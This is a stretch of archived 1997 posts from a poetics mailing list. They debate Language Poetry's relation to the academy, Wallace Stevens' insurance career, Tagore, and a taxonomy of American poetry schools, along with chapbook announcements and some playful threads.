> *critical academes have by&large not accepted LangPo into th cannon ov worx which "deserve" such lit crit... & so th "acadominant" tag cd seem appropriate to LangPo outsiders, who might see th constructed critical frameworks as similar to those of th acadame; but inappropriate to some insiders, who are painfully aware that th acadamy contenures to "shut them out"...*
>
> *this interests me on several counts: praps ron or others can comment on whether or no the emphasis on critical writings was a conscious tactic to undermind the academy's stranglehold on th cannon, and if so to what extant that project was successful... it's also been a matter ov debate (on this list, at least) as to whether or no that critical framework _is_ essential for a reader to get into LangPo texts--we've heard various anecdotes that "naive" aesthipients have been appreciative of readings w/out "knowing" what was "going on". i tend to think, tho, that the texts, for the most part, do take some book learnin to appreciate, and that w/out some backgrounding most folks just won't "get" it...*
>
> *th upshot of all this being: if i've pinned down one sorce of th misunderstanding, praps you'll come up w/ a new neologism to replace "Acadominant"... if not, i'm sure you'll let me know. be well*
>
> *asever*
> *luigi*

Mark Prejsnar replied, backchannel, that "language poetry, CAN and indeed SHOULD be read without 'critical apparatus..'"; that the source of the critical threads in th LangPo corpus was pressure by outside academics & workshop poets; and cited Coolidge in particular as a language poet who did not produce concurrent theory to support his work... i understand him to be saying that LangPo should only be read w/out the critical apparatus, and that the work succeeds despite, rather than because of, the theoretical constructs that the Language Poets built for their works...

and i responded:
>
>mark--
>
>first: i'm at work now (computers, not poetry) so i cant turn to my
>bookshelf for citations... but i believe that th twining ov theory
>& practice was a concious choice of many ov the langpoets, as evidinced
>in _In the American Tree_, _The L=A=N=G=U=A=G=E Book_, and
L=A=N=G=U=A=G=E
>magazine at least. (& as i type this, i realize praps that's an

>influence of the editors' bias in those particular examples, and i
>dont deny the existance of yr counterexamples... even so...) i tend
>to take those writers at their word, and agree w/ them that the total
>body ov the work, theory & practice, contributes vitally to their project...
>as you say, praps th theory was "imposed from the outside by academics"--
>that led to my question towards ron, as to whether that was just a tactic
>to insinuate th work into respectability... but i prefer, fr now, to
>believe that those writers knew what they were doing & chose to integrate
>both aspects into their Work for reasons implicit to the project. detractors
>of LangPo, btw, have often held that those critical aspects were self-
>promotional shams meant to fool "real" critics into taking the work seriously.
>i dont agree.
>
>[&, aside, i'm using the theory/practice handles as convienent shorthand;
>i don't in fact believe in such as a bipolar dichotomy in a deeply
>meaningful way...]
>
>second: i m'self usually "find my way in" to difficult texts by just diggin
>in & reading, making what use i can out of what i find. sometimes i get
>quite a lot out of it in that way. often enuf, tho, good critical work
>(either on the specific text, or on the more general aesthetics; by th
>poem's author, or by a reader/critic) opens new ways In that i might have
>missed
>on my own. that's no dissing of the original text--it's an acknowledgment,
>fr me, of the importance of a community of reader/writers, & th attendant
>context, for understanding any artifact of (a) culture.
>
>which brings me to third: besides explict theoretical litcrit, i think
>a reader does have to have built up a context, a history, of textual
>understanding in order to approach "difficult" work. fr myself, i think
>i needed stein to get to LangPo; i needed joyce to get to stein, i needed
>ezra & even eliot to get to joyce... hell, i started w/ carl sandburg,
>and dr. suess. and praps _that_ is part of what bob was getting at w/ th
>academonic thing: a sense that one might need a broader/deeper background
>in reading to approach langpo than one might need, fr example, to
>approach the NuYoRican spoken-word scene (which, ov course, requires it's
>own background...). that literary background has, historically,
>been provided via the Acadummy; and praps that's a more accurate sourceing
>ov bob's neologism... Bob? i still think it needs work.
>
>
>yrs

>lbd
>
>

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145. **Mark Weiss**
Re: identity, and other excresences
Sun 6 Jul 1997

Surely a mistake on Delmore's part. The oral history makes plain the regard in which Stevens was held in the field--one high executive claims that Stevens revolutionized aspects of the insurance business.

At 09:36 AM 7/4/97 +0800, you wrote:
>Re Wallace Stevens the insurance lawyer, Delmore Schwartz used to
>claim that he had met someone from Hartford Life and, thinking to
>surprise him, told him about the great poet who worked there. The
>insurance executive replied that Hartford Life's management all knew
>about Stevens poetry, that he was not much good as an attorney,but they
>kept him around because of the prestige he brought the firm.
>
>Delmore S is a less than reliable narrator, but I think there is some
>necessary truth in the anecdote, irrespective of the particulars.
>
>

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146. **David Bromige**
try reading these 44 in reverse order
Sun 6 Jul 1997

---

leastwise, thats the order in which mine are posted. David B

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147. **Mark Weiss**
Re: identity
Sun 6 Jul 1997

So if I named my daughter Lassie I'd be inadvertently naming her after a transvestite?

At 06:34 PM 7/6/97 +0100, you wrote:
>>Here's an identity question: If Bambi the deer is supposed to succeed "his"
>>father as king of the forest "he" must be male. So is it just a colossal

>>example of inattentiveness that generations of little girls (and never
>>little boys) get named Bambi, or was that deer in drag?
>
>Bet you can blame Disney for that. (And what *can't* you blame Walt for?)
>Disney took Felix Salton's quite potent fawn-to-buck bildungsroman and
>wimped the resourceful protagonist up into a doe-eyed Steif cuddly-toy,
>feminizing him so effectively that they never even considered doing Salton's
>*second* Bambi book on screen, _Bambi's Children_, cause it's just too silly
>to think that the high-voiced adolescent could ever get up the gumption to
>*breed*. Besides, nobody ever reads _The Yearling_ anymore, and few people
>have any concept of the viciousness of a cornered deer. Disney's Bambi
>never could be the kind of King of the Forest that, say, the Lion King could
>pull off--the lion's a predator, for crissake. And what chance does an
>*herbivore* have to be manly anyway, especially if he ain't an elephant
>(cause size *does* matter, y'know). It's sorta like little boys get called
>"Tiger" and little girls get called "Kitten." There're both male and female
>housecats, but no *real* man would ever compare himself to a housecat,
>right? So, no *real* man would ever name his boy after a deer 'cause it
>gets eaten by real men (and he-man animals like wolves and mountain lions).
>All this animal identity stuff gets so complicated, doesn't it? Like Lassie
>(who was supposed to be a female dog character) being portrayed by a series
>of male dogs who apparently could pull off playing females better than any
>of their female counterparts. Sure, inattentiveness probably has something
>to do with it (I mean, you don't expect a lot of attention from people who
>name their daughters Bambi, right?), but I think animal gender stereotyping
>is THE REAL ISSUE HERE.
>
>Now me, I'm low-slung, I weigh 140, got big nasty teeth, and a helluva
>snarl. You won't catch anybody trying to get underneath me to see if I'm
>male or female, and that's a good thing 'cause I'd bite their fucking face
>off. World would be a better place if people started naming their daughters
>after me, I think...
>
>Spike the pit bull
>"On the Internet no one knows you're a dog."
>
>

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148. **Mark Weiss**
identity
Sun 6 Jul 1997

Here's a thought. Lots of films are shot in different language versions--a take in English,a take in German, remember which is which when you splice them together, and voila! Two markets without the expense of dubbing. By analogy, maybe Disney could do two versions of films. If there's a Lion King, why not a Lion Queen? How about Prince Charming and the Seven Dwarfs? (Not clear what they could do with Pocahontas or Hercules)

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149. **Mark Weiss**
Re: identity
Sun 6 Jul 1997

Actually, the tradition of boy-for-girl dog goes way back to the very first Lassie film (perhaps analogous to the practice of all-male casts in Shakespeare's day?). That first dog had to be trained to act female, but none of the other males would drink with him afterwards.

At 06:57 PM 7/6/97 +0100, you wrote:
>>So if I named my daughter Lassie I'd be inadvertently naming her after a
>>transvestite?
>
>Well, no, you wouldn't be. That's the funny thing. I mean, it's hard to
>consider the male dog who played Lassie as a dog-in-drag, cause he was just
>walkin around bein the dog that he is. It's *people* who were looking at a
>male dog doing his basic male dog thing and *seein* a female dog. And the
>reason they were mistakin a male dog for a female dog is cause whoever was
>in charge of the show decided that a *real* female dog just, wouldn't, well
>*look* like an impressive enough animal for the audience, but that the
>*role* required that people *believe* they were seein a female dog. This is
>weird on so many levels it just leaves me scratchin.
>
>Spike
>
>

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150. Dave Zauhar
Re: identity, and other excresences
Sun 6 Jul 1997

"It's also bad karma to work at a job full-time and not go at it as seriously as you were going at being a full-time poet. Wallace Stevens, incidently, was not just an insurance man. He was vice-president of the Hartford Casualty Company. I mean there's no sense fooling around; if you're going to do something, you might as well be good at it." --Ted Berrigan, from _Ted Berrigan On the Level Everyday_, edited by list-member Joel Lewis.

DZ

> *Surely a mistake on Delmore's part. The oral history makes plain the regard in which Stevens was held in the field--one high executive claims that Stevens revolutionized aspects of the insurance business.*
>
> *At 09:36 AM 7/4/97 +0800, you wrote:*
> *Re Wallace Stevens the insurance lawyer, Delmore Schwartz used to claim that he had met someone from Hartford Life and, thinking to surprise him, told him about the great poet who worked there. The insurance executive replied that Hartford Life's management all knew about Stevens poetry, that he was not much good as an attorney,but they kept him around because of the prestige he brought the firm.*
>
> *Delmore S is a less than reliable narrator, but I think there is some necessary truth in the anecdote, irrespective of the particulars.*

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151. David Erben (Art)
identity
Sun 6 Jul 1997

Some interesting things have been written about identity and poetics, but before I offer even a quick response, I would like to make a remark or two about passages from some of the recent exchanges that...well, the more I thought about them, the more they troubled me.

I'm wondering why it is necessary or even whether it is such a good idea to make sweeping formulaic generalizations that contrast academics with non-academics and critics with artists. I really do not know what is meant by these terms or even why they are being used. Now I can understand talking about specific texts and specific writers, but I have to wonder what is up when people

(and texts) are lumped into broad categories. I know we like to think we're in the business of analysis on this list (some of us even fancy ourselves historical analysts), but such monolithic characterizations as these seem both reductive and lacking in a certain respect for the people (and texts) involved. I would have hoped that at least some of the thinking about reading and writing over the past twenty or so years (including, say, some of Derrida's -- say his arguments against thematism in Mallarme criticism in the second half of "The Double Session") has at least demonstrated the dangers of such reduction (even if it is convenient when it comes time to talk about such things to give a sort of formula and ask everyone to plug it in ...some of my particularly geeky science friends would love it).

Think of it... "academic" ... "critic" ... "theory" ... "artist" (and all the writers and texts these terms include) all wrapped up in a neat package of quick-thaw historical and philosophical assumptions and grounds: diverse and complex writing and people reduced to single, simple terms. Bang. It's done. Hardly seems necessary to read... I don't know.. I realize certain shorthands are necessary for these discussions...but it seems to me that we are supposed to be in the business of reading and reading implies a sensitivity to the complexity of each work in our hands (and posts on our screen) and formulations like these elide over that sensitivity.

To be honest, the truth is, when I read, I don't read "writers"; I read texts. Some of these texts are signed by good people (Frank) some are signed by bad people (Celine, Pound) ...I read for that (and the implications of those signatures) too. Some of these texts I read as fascist or postcolonial or artsy fartsy or whatever ...I try and understand that (and the operations of engaging with those texts) too. Now, with email,it seems to me the signature is even more problematic and I, for one, am not nearly as comfy as some people have been in drawing conclusions from the words on my screen about the people at the keyboard.

Anyway, Celine is possibly a good signature to bring up in this context. It has always seemed to me that despite everyone's best efforts to make them so given what we know about the author, Celine's novels turn out to e not fascist at all. In fact, when I read them, they actually, by some amazing transformation of ideology and language within style, fight against almost everything that is fascist about literature and learning in the Western world, particularly in the 20th Century. Just read the brilliant and hilarious introduction to *Guignol's Band* for a dramatic example of this...it works in the most comically absolute ways against absolutism, including its own. This is not an argument about intentionality or personal politics, this is just my delighted reading of especially the first five novels. The pamphlets are of course the worst sort of fascism and anti-Semitism, and should be read rigourously in these terms; not merely to indict

yet another dead author, but to detail the workings of this sort of discourse. But the novels are so often in precisely the opposite spirit of the boring repetitive pamphlets that they too deserve to be read as the peculiar often perversely joyous discourses they offer. I find them, in many places, actually quite liberating. I have just finished reading the new translation of *London Bridge* (the sequel to *Guignol's Band*) and find some of the comic scenes in there (those in the home of the gas-masker for instance) worthy of the best 20th Century irony and satire. (I think there is, I should perhaps mention, far more fascism at work in certain texts of Disney or Stallone than in any of Louis-Ferdinand's fiction.)

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152. Christopher Reiner

Yasusada, Identity, Witz

Mon 7 Jul 1997

This is just to say that the new Witz is out (5.2 for those keeping track), and it features an article by Mikhail Epstein--"Some Speculations on the Mystery of Araki Yasusada." Epstein's piece deals with "the construction of authorship" and places the "Yasusada" work in the Russian literary tradition of the "multi-generic form of diaries, letters, verses, comments, etc." He offers two hypotheses regarding the possible authorship of the Yasusada poems...both with a Russian connection. It's a fascinating essay.

Also in the new issue: an essay by William Marsh on "Memory, Hypertext & Poetry"; a review of Joe Ross's "The Fuzzy Logic Series" from Chris Stroffolino; and a response by Stephen Ellis to Jefferson Hansen's "Anarchism and Culture" essay in Witz 4.3.

Witz is available only by mail from the publisher. Individual copies are $4. Subscriptions are $10 for three issues. The address is: Witz, P.O. Box 40012, Studio City, California 91614. Please make checks out to Christopher Reiner.

Note to current subscribers and contributors: I just mailed the new issue out the other day, so please give it a few days to reach you.

Thanks,
Chris

[redacted]

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153. Schuchat Simon
Re: identity, and other excresences
Mon 7 Jul 1997

seemed to me the point of the Schwartz anecdote about Wallace "I led two lives" Stevens was not so much that it denigrated Stevens' insurance skills as it highlit the way in which Stevens career, as poet, profited immensely from the "paradox" of his day job. There was obviously something in our culture that was reassured that avant garde poetry could be written by insurance executives and suburban obstreticians -- or if it wasn't "the culture," at least Time magazine liked it.

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154. Mark Weiss
Re: identity, and other excresences
Mon 7 Jul 1997

Interesting. I wasn't aware that Time had taken up the case of Dr. Williams, but if it did it must have been very late in his career (I don't think the rag existed until the mid thirties). I know very little about the popular reception of Stevens' poetry, beyond some anecdotes. When did Time discover and embrace Stevens? Elucidation, please. I think strong case could be and has been made for the importance of his practice to Williams' poetry, despite his frequent irritation about it. Good to remember that Desert Music and Asphodel got writ after his retirement. As for the effect of the corporate millieu or the intricacies of insurance law on The Emperor of Icecream, quien sabe? One would like to think that there was some, but then one would have to look for the impact of the business on Ives' music (other than to limit his production) or watercolor painting on Ruggles, or the influence of the customs shed on Rousseau, or, for that matter, on the Melville of Billy Budd and the Hawthorne of the Tales and the early novels. Much as I like to believe in the unitary life (perhaps as elusive as the unitary personality), I know that people have the capacity to encapsulate aspects of their lives (and selves)--sometimes there appears to be no influence from one side of the wall to the other.

At 12:59 PM 7/7/97 +0800, you wrote:
>seemed to me the point of the Schwartz anecdote about Wallace "I led two
>lives" Stevens was not so much that it denigrated Stevens' insurance
>skills as it highlit the way in which Stevens career, as poet, profited
>immensely from the "paradox" of his day job. There was obviously
>something in our culture that was reassured that avant garde poetry could
>be written by insurance executives and suburban obstreticians -- or if it
>wasn't "the culture," at least Time magazine liked it.

>
>

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155. L. MacMahon and T.R. Healy
american language
Mon 7 Jul 1997

I wonder if the pink chartreuse is really cerise, a shade of pink known to make great demands on the nervous system, in disguise.

Randolph Healy

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156. Daniel Zimmerman
Re: american language
Mon 7 Jul 1997

L. MacMahon and T.R. Healy wrote:
>
> I wonder if the pink chartreuse is really cerise, a shade of pink known to
> make great demands on the nervous system, in disguise.
>
> Randolph Healy

Cerise and chartreuse may appear as retinal afterimages of each other. Look at a large, brightly lit area of either color for afew minutes, then look at a white wall lit less brilliantly. What do you see?

--Dan Zimmerman

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157. George Thompson
Re: Tagore / Orientalism
Mon 7 Jul 1997

A few words [relatvely] in response to Rebecca Weldon's observations:
>
>Was Tagore writing to throw out the British? Did Gandhi's success make him
>a poet? Have you read his autobiography? pre-modern, yes, romantic, yes,
>but bad?
>I, personally, would learn Bengali before making such a statement, not only
>because his fellow Bengalis think him great, but also because he translated
>himself most of what is translated at all. Poets of the sub-continent seem

>to attract bad translators and I don't think they should translate (but
>edit, certainly) their own work either, as so often happens.
>
>I, personally, read much more into those bad translations than you do and
>disagree with your assessment of Tagore. He has been translated into Thai,
>too; perhaps Thai is a better language for his type of poetics than English.
>Of course, if you don't LIKE his writing, that's an entirely different case
>altogether, but comparing Tagore to Gandhi is comparing the proverbial
>apples and oranges, isn't it? Is your orientalism showing?

I'm perfectly willing to leave this as a matter of personal taste and to let it go at that. Please note that I did hedge my judgment of T's English poetry a little bit, though perhaps not enough for your taste. But a few brief points:

1. I compared Tagore and Gandhi because that is what the article did which Steven Marks inquired about. It was called "Tagore and His India" and was much more about T's role in "his India" than about his poetry. The article is based on a comparison of two huge icons looming over post-independence India. In this sense both T & G are apples.

2. Actually, if anything is showing in my post it is probably the influence of the modernism of Pound and Yeats, et al., which has permanently determined the way in which I hear, and don't hear, poetry [permanently? well, maybe not].

3. The damage that the British occupation of India has done to India was / is not just economic, of course. For several centuries Indian intellectual discourse has been dominated by British modes, and I think you can see both T & G coming to terms with this domination [and independence from it] in different ways. I think that most students of India [Indologists] would agree that in many ways the very notion of "Hinduism", and the self-designation "I am Hindu", is largely a British [& European] invention.

You would see my orientalism showing most nakedly, I suppose, if you asked me my opinion of the the behavior of the British in India [or China, etc.]: it was *utterly* detestable. And you would understand why I admire so much Gandhi's quick response to a reporter's question: What do you think of western civilization?

He said, of course: "It would be a good idea."

George Thompson

p.s. Speaking of detestable, there is a vile quote from D.H. Lawrence in the article. Check it out!

I also deeply admire Ray's films.

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158. **David R. Israel**

Re: american language / afterimages

Mon 7 Jul 1997

Randolph Healy wrote:

> *I wonder if the pink chartreuse is really cerise, a shade of pink known to make great demands on the nervous system, in disguise.*

and Daniel Zimmerman replied:

> *Cerise and chartreuse may appear as retinal afterimages of each other. Look at a large, brightly lit area of either color for afew minutes, then look at a white wall lit less brilliantly. What do you see?*

The afterimage -- suggesting a neural (at least) opposite, may have a number of correlates on other levels of psyche & perception.

The phonemic particulars (chartreuse / cerise) are no addicent. Consider these afterimages:

excuse / caprise

caboose / valise

abuse / release

noose / lease

goose / niece

use / peace

look at any first term, then shut your eyes, and like as not, the 2nd term will be standing there before you. And if (for instance) the goose were attired in chartreuse, what sort of outfit do you think the niece will be wearing? I rest my case (or, as my be, valise).

d.i.

p.s.: btw, what sort of "demands on the nervous system" is cerise "known to make" I wonder? (Does this mean that beholding the color is a somewhat trying experience?) Are there correlative -- or expandable -- color responses? A shade that produces sweet quietude. A hue that elicits profound confusion. A tint that evokes langour. A color known to be rather dangerous, as its use contributes to a level of cognitive comprehension, the results of which appear (to those not accustomed to the color and its results) as iconoclasm, argumentativeness, or bad listserv behavior. A combination of shades that instantly establishes harmonious interpersonal & interspecies dealings. (Like, say, azure?)

p.p.s.: this chartuese / cerise thread calls to mind some of our other interesting (or slightly rarer) color terms:

azure, kelly, taupe, ecru, crimson, scarlet, celedon --

p.p.p.s. recalls a poem of Han Shan's (per moi):

What birds express my heart cannot endure
when so I lie down in my rustic hermitage

the peach & cherry turning scarlet-scarlet
the willow & poplar don their slender foliage

the morning sun o'er-saling azurite hills
clear clouds bathe in the kelly pond

who know I pass beyond the dusty world
in swift ascent of the south slope of Han Shan?

d.i.

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159. Mary Hilton
New primitive publications chapbook
Mon 7 Jul 1997

Announcing "Taken", a stunning new chapbook by Sherry Brennan. In this work, Brennan challenges how the west was won, and what we have all lost in the meantime.

Rod Smith writes about this work: "This book is an actual "shape. saying. cast open"-- & so, reader, respond. Sherry Brennan's "Taken" can and does stun our reread space. Sourcing Black Elk, Black Francis, and Afraid of the Enemy should work if you've got the energy, & she does. "Beowulf is not in the poem Taken. It is in the way in which a poem is a body. shot through." Time or a voice in this work, a very sudden history, A Poet."

primitive publications is a press dedicated to historically influenced literature. Cost of one chapbook is $4.00, or $20.00 for a subscription of six. Other titles include:

"The History of the State May Last, 1616" by Mary Hilton
"The Haunted Baronet" by Mark Wallace
"Lead, Glass and Poppy" by Kristin Prevallet
"Why I Am Not a Christian" by Jefferson Hansen

All checks may be made payable to Mary Hilton and mailed to:

primitive publications c/o Mary Hilton, editor
1706 U Street, NW, #102
Washington, DC 20009
e-mail: [redacted] *or* [redacted]

Inquires, submissions, or requests to be included on the mailing list are welcome. Thank you.

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160. **Mark Prejsnar**

Re: A List of Poetry Schools Revisited

Mon 7 Jul 1997

On Thu, 3 Jul 1997, Bob Grumman wrote:

> *It has been a little over a month since I posted my List of (American) Poetry Schools hoping for corrections, additions, comments. . . . I got a few back-channeled comments but not a single concrete suggestion, privately or publicly, for the improvement of the list. I think it's important enough to repeat, though, so here it is again, with a few changes that I hope are improvements.*
>
> *LANGUAGE POETRY (or "Acadominant" Poetry)*

Bob---- ...Uh "acadominant"??? seems pretty snide...er, pretty inaccurate too. May fit in well with the general feel of the list right now, though, which despite individuals involved with launching it seems (rather mindlessly) hostile recently to langpo as a historical frame of ref...I've never come close to being an academic (just a wage slave scurrying around in the interstices of the machine) but langpo don't look too dominant in academe from where I'm sitting...Nor dominated *by* academe (the other way of unpacking this.)

Surely "jump-cut" was only a good way to think of Ashbery around Tennis Court Oath time, with rapid montage and cutup techniques making his work rapid and shifting..Much of it since then has had a smoother flow. Bleed-fade transitions, maybe, but not a structure based on jump-cutting...

Of course there's some question as to *why* do this kind of lumping..But it brings up issues about poetry that are interesting to talk about. I feel that the answer to your question, re no one responding to your earlier posts, has something to do with the list becoming a space for chatter. All listservs go thru periods like that, unfortunately.

Mark P.

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161. Jordan Davis
Re: try reading these 44 in reverse order
Mon 7 Jul 1997

Simplicity, when you tie a ribbon over the middle of the word, gives you Sim City. Someone tell me more about David Papineau. There's a sharpish review of Huw Price's _Time's Arrow and Archimedes' Point_ by said DP in the TLS of a month ago. Same issue has a nice if insufficiently complex piece on middle-period Clare, with a nice suggestion that Clare's refusal to subordinate the pastoral details to a romantic general connects him up with a medieval way of looking, pre-perspective. What Peirce is or has been to Henry, Fordie is to me, and rather than go Amis-wise straight back from chaos to boom, and does this make me an impressionist? I make efforts at being organized (leaving instructions on how to find things) but slide from one memory to one impression to one theory. Entropy? Writing like smoke? Theories go "sideways"? God isn't David Bromige or crab-claws or "the gym of serenity" (Chris Stroffolino's phrase). The MIT lab program "Life"'s rules -- a cell bordered by cells on three sides dies? Never having understood what Olson Dorn and Creeley meant by "outward" I go wading; it's pretty for months. Men. Being edgy is a form of publication, and list members remember "sideways"? God isn't bordered? Bored? Derobed and alkaline? It agrees and makes book. Efforts at being clear are psychological efforts. Efforts at accuracy are philosophical efforts. And then we left the world of details, and woke up in the world of fluid-mechanics. "You're putting me through some changes" is not something you overhear now though. I've read theory, it's okay to watch the video within a week of the event. Women do not accept such mush. This woman doesn't, I'm a wife. Coincidentally, entropy is (often) peace. J

On Sun, 6 Jul 1997, David Bromige wrote:

> *leastwise, thats the order in which mine are posted. David B*

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162. Sylvester Pollet
kali reader
Mon 7 Jul 1997

Hey Kali, I just spent a couple of days clawing at my computer and the Poetics Archives, thinking I was responsible for the missing installments of the continuing discussion, and wanting to keep up with it. I read every word you & Dodie Bellamy (and even David Bromige) write. Don't assume all of those Archie

Bunker used to call "regular white guys" are trying to shut you up. Please continue, and don't diss your readers. sp

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163. Bob Grumman
Re: A List of Poetry Schools Revisited
Mon 7 Jul 1997

The latest word from the poetics typology front down here in blisteringly hot Port Charlotte, Florida, is good: so far I've had FIVE responses to my list of Poetry Schools, and four of them have offered constructive criticism. The fifth was a request to post my list at another poetry discussion site, which was fine with me.

One of the other four, a private one from Hugh Steinberg, suggested that I add a new school (or sub-school) to my list--and I did. It's the sub-school responsible for "Spoken Word/Slam Poetry." It's now no. 6 under "Contra-Genteel Poetry." I'm not sure why I overlooked this kind of poetry previously but think it was probably because I tend to consider it a form of performance poetry. In some cases it might be sound poetry, too.

Then there was the brief message posted by dan featherston asking what was "contra" about Maya Angelou. My response: "My calling Maya Angelou Contra-Genteel might not be accurate, I'm not sure. I tossed her name in without much reflection, and without rereading what I have of her work. My impression is that she does a lot of vernacular stuff as opposed "poetic" stuff, so, yes, diction (is where she's contra-genteel). But(she's) also anti-genteel in being oppositional politically. But so are many genteel mainstream poets (and the contra-genteel category is basically street rough versus the suburb polite of the mainstream category in philosophy, diction and subject-matter), so I guess I'd just say she was a little more directly and confrontationally oppositional than mainstream poets (when she's contra-genteel). But this is one of the fuzzy spots in my list that needs more thinking."

Dan later mentioned that he's going to have "a brief essay in next _chain_ that addresses this issue of inclusion/who's speaking and being spoken for: her inaugural poem and the coolidge/fagin take on it."

Third of my respondents was Robert Archambeau who wondered about my "distinction between surrealist poetry (typified by Robert Bly) and jump-cut poetry (typified by John Ashbery)." As Robert pointed out, "Edward Germain classed Ashbery as a surrealist in _English and American Surrealist Poetry_ (Penguin, '78), and a pretty strong case can be made that he's right. And Bly called his

own poetry "deep-image". Don't know where I'd draw a line or what I'd call it. . ."

I tend to think of surrealist poetry as juxtapositioning of incongruous images, and jump-cut (a term first used to describe a kind of poetry by Charles Wright, I believe) as juxtapositioning of incongruous actions. In my formal taxonomy the two poetries are the sole subclasses of what I call "Idiological Poetry," so I've always recognized their similarity. That they might be one school hadn't occurred to me, and might make sense. As for which, exactly, Ashbery is (if either), that's a problem for those who know more about his work than I. (The same is true of which school or schools to put Maya Angelou in.) Bly seems to me pretty certainly a surrealist poet. His term, "deep-image," might be used to specify what kind of surrealist poet he is.

I have to admit to not knowing enough about most poets properly to assign them to schools. It's one of the areas I'll really need help to make my list reasonably accurate.

Robert A. also mentioned David Kellogg's paper on the shape of the American poetic field. I got an outline of this paper from David the first time I had my list of schools up. It made a lot of sense, particularly in mapping the tensions between the four main poetry schools, in David's view, two of them pushing east/west against each other, the other two north/south against each other. So he's not just listing schools, like I am, but analyzing their relations to each other. He left my two favorite schools out of his scheme, though, so I could only give him an A- for his effort.

My harshest critic so far has been Ron Silliman. He was right, I have to confess, in chiding me for putting "flow-chart poetry" on my list. I think I've seen only one specimen from that "school" in my life. I tend to try to bulk up the Pluraesthetic School because it's one of my two specialties as a critic. On the other hand, listing ersatz schools like the flowchart school--and semi- ersatz ones like the mathematical poetry school which probably has less than half-a-dozen serious practitioners worldwide--might inspire others to make viable schools of them. Then, too, it's better to list too many schools than too few.

I agree with Ron that the tendencies toward otherness in many of the major schools are interesting--but they have nothing to do with the purpose of my list, which is simply to chart what kinds of poetries are being composed in this country--to try to keep any from being overlooked. That my typology "doesn't Tell Us Anything," meaning, "it doesn't add to any knowledge we might have about a given poet," is similarly irrelevant. My typology isn't about individual poets, it's about groups. It is particularly not about any poet whose work we already know, but about poets whose work we don't know, and might like an extremely

general idea of. It's about introductory knowledge about unknown poets, not about insights into known poets.

As for my description of langpo as "acadominant," I was hoping it'd get enough of a rise out of some langpoer to make him respond to my list. Whether it was the only reason Ron said anything about my list, I don't know, but it did seem to get a rise out of him.

Actually, I don't know enough about the academy or about the socio-economic aspects of poetry in America to use the term in any philosophically responsible way. On the other hand, my impression, from way outside the hub, is that language poetry has been the dominant serious poetry in the academy in this country since the beginning of this decade or earlier. It seems to me that SUNY, Buffalo, has become the academic center of poetry in America. This might only be due to my having friendships mainly with people in language poetry or sympathetic to it, and who thus see it as Very Large--and to friendships with people in visual poetry who are NOT sympathetic to langpo, because they consider it, hang on to your hat, The Establishment, and who thus also see it as Very Large.

In any case, the trouble many people in lang po might be having getting decent positions in academia doesn't prove langpo is not acadominant. Acadominance cannot be expected to translate into IMMEDIATE distribution of academic jobs. I have very little knowledge of all this, but my impression is that, due to tenure agreements and all kinds of other details (like the simple fact that ANY poet is going to have trouble getting an academic position, particularly a GOOD poet), a school of poetry might hang onto most of the academic jobs in the field for as many as two generations after it's lost its dominance. (By langpo's acadominance, I mean more how seriously it's taken as a kind of poetry than its socio-economic status, anyway.)

Yow, after spending over an hour working on the preceding, I checked my Inbox and found TWO MORE RESPONSES! One was from Mark Prejsnar. He (properly) got on me for my snideness in using "acadominant" to describe langpo. I'm still not sure it's entirely inaccurate (see above) in its meaning of "dominant in the academy." He, and Luigi-Bob Drake in a private follow-up letter, are on to something interesting in considering the term as possibly meaning "dominated by the academy," or some such. I think I did mean that to a degree, too, if not too consciously. Overstated, of course, but langpo certainly has had the most critical (and thus academic-seeming) accompaniment of any poetry school I know of. Which is no fault at all, from my point of view. But it raises a number of intriguing questions that Luigi-Bob brings up such as whether providing a critical apparatus for langpo from the beginning was a conscious choice, the aim being to "undermind the academy's stranglehold on th cannon, and if so to what extant that project is successful..." And also whether aesthcipients need a

critical apparatus to appreciate langpo, or whether any poetry should require such an apparatus for appreciation.

I agree with Mark P. that "'jump-cut' was only a good way to think of Ashbery around Tennis Court Oath time, with rapid montage and cutup techniques making his work rapid and shifting." Since then he's become more of a mainstream poet--so like so many poets, fits more than one school.

I was just about to post this when I saw Mark's second posting of the morning, about whether an aesthcipient needs to have a critical apparatus to appreciate a poet. Not necessarily, I would say--but I suspect that most of the best art of this century DID, at some point, need criticism (mostly now absorbed and not recognized) to get off the ground. I certainly have been helped to appreciate certain poetry, like Pound's, even Eliot's (even my own!), by good criticism. Perhaps all appreciation is simply a matter of exposure to the work to be appreciated. That's how I seem to have gone from annoyed contempt for Pollack the Great Admiration, for instance. But it seems to me the right critical insight at the right time can save a lot of work.

Gotta stop now. (Looks like I'm getting too MANY responses now! But keep 'em coming!) --Bob G.

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164. Kali Tal
Re: power in language
Mon 7 Jul 1997

Tom Orange writes:

> *two things trouble me here. first, kim never "offered" to cut jay's nipples off fer chrissakes; searching the june poetics archive for the word "nipples" (isn't technology teriffic?), one finds hoa nguyen's 13 june post, reproduced in part below, to be the first mention of such an (hypothetical!) act.*
>
> *second, "if such a person exists": why is this questioned? why is kim dawn's existence so much more dubious than anyone else's here? does such a person as tom mandel exist? does such a person as tom orange exist?*

These are exactly the sorts of things which trouble me.

David Israel charges me with "continuing misunderstanding (or misreading) of what's really at issue" in the discussion of play vs. violence. But I think that he reads too much *into* Dodie Bellamy's response and that Bellamy quite clearly and distinctly says that Kim Dawn's post falls into the cagegory of sexual violence because it involved a nonconsensual use of sexually explicit material. I

draw this conclusion--again--directly from Bellamy's writings, which David was kind enough to repost with his own message.

> *<< Since neither Jay Schwartz, nor other list members, had consented to Kim Dawn's aggressive pornographic whatever that was directed towards Jay, I do not feel it should be categorized as sexual play, but as sexual violence. I do not challenge her right to use sexual explicit material in her writing, I merely challenge its non-consensual use. >>*

I do *not* think that Bellamy's text urges the reader to draw the conclusion that Bellamy is making an "analogy" nor that she is being metaphorical. When you say something should be categorized as sexual violence, you are not saying that something should be distinguished from something else "as if it were" sexual violence, nor are you saying that it "is sexual violence" as one might metaphorically state, "Kali is a pit bull," meaning "Kali has the characteristics of a pit bull." If this is what Bellamy means, then I hope she will come forward and say so, but it is not present--as far as I can detect--in the text.

If you want to talk about what is happening when/if posters to POETICS generate sexually explicit and provocative textual eruptions, I'm game to do that. I'm happy to talk about what different definitions of sexual violence might be, about metaphorical uses of violent sexual imagery, etc.

